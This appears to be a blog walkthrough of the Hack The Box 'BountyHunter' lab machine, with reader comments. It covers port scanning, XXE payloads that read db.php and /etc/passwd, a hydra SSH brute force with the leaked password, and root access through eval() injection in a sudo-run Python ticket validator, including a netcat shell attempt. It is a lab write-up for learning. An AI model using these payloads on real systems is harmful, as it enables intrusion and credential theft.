We’ve found two open ports: 22, 80.

# nmap -p- -sV -sC -oA bounty

Starting Nmap 7.91 ( ) at 2021-08-04 05:02 EDT
Nmap scan report for
Host is up (0.049s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80

The initial page presents us a couple of buttons:

  • About
  • Contact

Sending any type of message does not get through as a request but instead it sends us to the beginning of the page.

  • Portal

It is a bounty portal to submit information. It reflects the input – possible reflected xss ?

It says that the db is not ready…?


Nikto found an interesting php file called db.php . Maybe it has something in common with the db mentioned in the portal.

# nikto -h bounty.htb
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:    bounty.htb
+ Target Port:        80
+ Start Time:         2021-08-04 05:06:04 (GMT-4)
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3093: /db.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ 7786 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2021-08-04 05:13:45 (GMT-4) (461 seconds)


Tried changing the GET request to OPTIONS, PUT and POST but i always receive only 200 OK with no other information.


Running dirbuster with default dirbuster wordlist discovered the following directories and files:



[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions


From the code beneath we see that the variable and the input is actually xml. The only thing It comes to my mind is XXE. Let’s go back to the portal and test.

function returnSecret(data) {
    return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"

async function bountySubmit() {
    try {
        var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
        let data = await returnSecret(btoa(xml));
    catch(error) {
        console.log('Error:', error);

Portal test for XXE

The following oneliner should send a connection to me if it works. In order for the application to understand the request, we need to encode it in base64 (ctrl+B in burp suite):

And the test is successful:

The following script is taken from blackhillsinfosec with a little edit, we assign a variable xml with a value that will be executed once invoked from the developer console. The script itself is explained in blackhillsinfosec page however, to touch a little on the subject, we are looking for the db.php file we found earlier that would be located in the /var/www/html folder where the files of the webserver usually are located. We’re reflecting the output within the title tag as the entity xxe which we created earlier.

var xml = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php"> ]>

to Invoke xml:


Copy the base64 and decode it to get the db file contents. It contains credentials.

Now extract the users from the system with the following script:

var xml = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
# returnSecret(btoa(xml;))

Copy the users into a file and sort the contents by typing the following, where -d is delimiter – in this case : since passwd splits content this way, -f is for position – in this case is 1 for just the username and we insert that into a new file called usrs:

# cut -d : -f 1 passwords > usrs



We use -L to bruteforce each user from the usrs file and -p to test the specific password that we got from the db file.

# hydra -L usrs -p <password from db file> ssh


SSH-ing into the machiine as the found user:credentials gives us user.

Privilege Escalation

We have a ticket validator file that we can run as root with no password required, also we can run python3.8 (how convenient :D)

$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/

Ticket Validator Analysis

The ticket validator takes a ticket file as input. The file has to meet specific requiremets:

  1. The ticket has to end with .md extension.
  2. The contents of the file has to start with “# Skytrain Inc”
  3. The following line has to point to destination as so: ## Ticket to
  4. the ticket code should start with: Ticket Code:
  5. The code is looking for 2x star symbol ( ** ) to remove it and split at position 0 where the + is found. example: **102+
#Skytrain Inc Ticket Validation System 0.1                                                                                                                                                                                                   
#Do not distribute this file.                                                                                                                                                                                                                

def load_file(loc):                                                                                                                                                                                                                          
    if loc.endswith(".md"):                                                                                                                                                                                                                  
        return open(loc, 'r')                                                                                                                                                                                                                
        print("Wrong file type.")                                                                                                                                                                                                            
def evaluate(ticketFile):                                                                                                                                                                                                                    
    #Evaluates a ticket to check for ireggularities.                                                                                                                                                                                         
    code_line = None                                                                                                                                                                                                                         
    for i,x in enumerate(ticketFile.readlines()):                                                                                                                                                                                            
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")

        if x.startswith("__Ticket Code:__"):
            code_line = i+1

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
        print("Invalid ticket.")


Ok let’s write our own ticket.

The ticket has to complete the requirements in order to be executed. Then in the Ticket Code I decided to go with the example + a random number which equals to something that will return TRUE condition and used “and” to concatenate a system command that will spawn a reverse shell.

# Skytrain Inc
## Ticket to 
__Ticket Code:__
**102+7==109 and __import__('os').system('nc -nvlp 1234 -e "/bin/bash"') == False

It seems that the system has a version of nc that does not support the -e flag. Oh, well, we can still dump the flag.

$ sudo python3.8 /opt/skytrain_inc/
Please enter the path to the ticket file.
nc: invalid option -- 'e'
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
          [-m minttl] [-O length] [-P proxy_username] [-p source_port]
          [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
          [-X proxy_protocol] [-x proxy_address[:port]]           [destination] [port]
Invalid ticket.

Let’s edit our ticket code.

# Skytrain Inc
## Ticket to 
__Ticket Code:__
**102+7==109 and __import__('os').system('cat /root/root.txt') == False

And execute the code:

$ sudo python3.8 /opt/skytrain_inc/ 
Please enter the path to the ticket file.
Invalid ticket.

2 thoughts on “BountyHunter

  1. Hi Kostadin, good post. I’m still puzzled about the `sudo python3.8`. E.g. `sudo python` won’t work, and ‘ sudo python3.8` won’t work with other python scripts, only with the one under `/opt`. Any idea why? Cheers.

    1. I cannot recount why exactly but from your comment it looks like 1. the machine was not reset and a change was made previously. 2. When specifying the version of python allows us to use it for example – you have python3 but not python2 on the machine therefore using any other version of python but the existing one (python3) will be impossible.

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: